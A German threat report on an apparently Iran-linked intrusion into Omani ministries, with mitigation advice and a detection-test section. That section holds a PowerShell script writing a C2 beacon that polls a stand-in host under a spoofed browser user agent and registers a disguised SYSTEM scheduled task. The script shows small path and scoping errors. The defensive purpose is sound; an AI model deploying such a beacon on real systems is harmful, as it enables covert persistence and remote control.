Iran-Nexus-Angriff legt 26.000 Bürgerdaten im Oman offen

Zusammenfassung

Ein iranischer Bedrohungsakteur mit staatlicher Unterstützung kompromittierte mehrere Regierungsministerien im Oman, indem er Webshells, ProxyShell-Exploits und eine benutzerdefinierte Command-and-Control-Umgebung verwendete, die auf einem in den VAE ansässigen VPS gehostet wurde. Die Angreifer exfiltrierten mehr als 26.000 Benutzerdatensätze und Registrierungsdatenbanken und setzten anschließend nachfolgende Kompromittierungstools wie Chisel und GodPotato ein, um den Zugriff zu vertiefen. Der Betrieb wurde weiter enttarnt durch ein offenes Verzeichnis, das unabsichtlich die Werkzeuge, Skripte und C2-Protokolle der Angreifer offenbarte und Einblicke in den vollständigen Einbruchsablauf bot.

Untersuchung

Forscher griffen auf den exponierten VPS zu unter 172.86.76.127 und identifizierten Webshells, Python-basierte Command-and-Control-Skripte, Tools zur Privilegieneskalation und mehrere Exploit-Skripte, die auf ProxyShell und die DNN SSRF-Schwachstelle abzielten. Netzwerkprotokolle zeigten Beaconing-Aktivitäten über die Ports 8001 and 8002, sowie die Nutzung von Chisel-Tunneln für verdeckten Zugang. Die Untersuchung dokumentierte auch die Erstellung geplanter Aufgaben, die Extraktion von Registrierungsdatenbanken und großflächige Datenabzüge von kompromittierten Systemen.

Minderung

Organisationen sollten alle Patches im Zusammenhang mit ProxyShell in Microsoft Exchange anwenden und das DNN SSRF-Problem, das als CVE-2025-32372nachverfolgt wird, beheben. Webanwendungen sollten gehärtet werden, IIS-Konten sollten mit minimalen Rechten ausgeführt werden, und nicht verwendete ASP.NET -Seiten sollten wo immer möglich deaktiviert werden. Verteidiger sollten auch Webanwendungs-Firewalls einsetzen, ausgehenden Datenverkehr über ungewöhnliche Ports überwachen und regelmäßig internetzugängliche Server auf verlassene oder exponierte Verzeichnisse überprüfen.

Reaktion

Sicherheitsteams sollten Erkennungen für Webshell-Zugriffsmuster, PowerShell-Beaconing-Verhalten, Chisel-Tunnel-Aktivitäten und verdächtige geplante Aufgaben erstellen. Vorfallresponder sollten Webserver-Protokolle, Registrierungsdatenbanken und jegliche Datenbankabzüge für forensische Analysen sammeln. Betroffene Systeme sollten isoliert, Anmeldedaten ausgetauscht und die entsprechenden omanischen Behörden oder Stakeholder sofort benachrichtigt werden.

Simulation der Ausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorflugprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die zum Auslösen der Erkennungsregel entwickelt wurde. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

• Angriffs-Narrativ und Befehle:
  Der Angreifer hat bereits einen Fuß auf der Opfersystem erlangt und möchte ein leises C2-Beacon etablieren. Sie platzieren das PowerShell-Skript new_beacon.ps1 ins AppData-Verzeichnis des Benutzers. Das Skript läuft in einer Endlosschleife und pollt alle 30 Sekunden ein Remote-C2. Jede HTTP-Anfrage wird mit einem Chrome UA-String erstellt, um sich in den normalen Webdatenverkehr einzufügen und so netzwerkbasierte Erkennungen zu umgehen (T1217, T1674). Der Angreifer startet das Beacon über eine geplante Aufgabe, um die Persistenz sicherzustellen (T1204.004).

• Regression-Test-Skript:

  # -------------------------------------------------
  # Bereitstellen und starten des neuen_beacon PowerShell-Beacons
  # -------------------------------------------------
  $beaconPath = "$env:APPDATAnew_beacon.ps1"
  $c2Url = "http://malicious.example.com/beacon"
  
  # 1. Schreiben des Beacon-Skripts (simulierte schlanke Version)
  $scriptContent = @'
  while ($true) {
      $headers = @{
          "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, wie Gecko) Chrome/118.0.5993.90 Safari/537.36"
      }
      try {
          Invoke-WebRequest -Uri "$using:c2Url" -Headers $headers -Method GET -TimeoutSec 10 | Out-Null
      } catch {}
      Start-Sleep -Seconds 30
  }
  '@
  Set-Content -Path $beaconPath -Value $scriptContent -Encoding UTF8
  
  # 2. Registrierung einer geplanten Aufgabe für die Persistenz (läuft jede Minute)
  $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File `"$beaconPath`""
  $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::MaxValue)
  $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
  Register-ScheduledTask -TaskName "SystemUpdater" -Action $action -Trigger $trigger -Principal $principal -Force
  
  Write-Host "Beacon bereitgestellt und geplante Aufgabe erstellt."

• Bereinigungskommandos:

  # -------------------------------------------------
  # Entfernen des Beacons und der geplanten Aufgabe
  # -------------------------------------------------
  $beaconPath = "$env:APPDATAnew_beacon.ps1"
  Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false
  Remove-Item -Path $beaconPath -Force -ErrorAction SilentlyContinue
  Write-Host "Bereinigung abgeschlossen."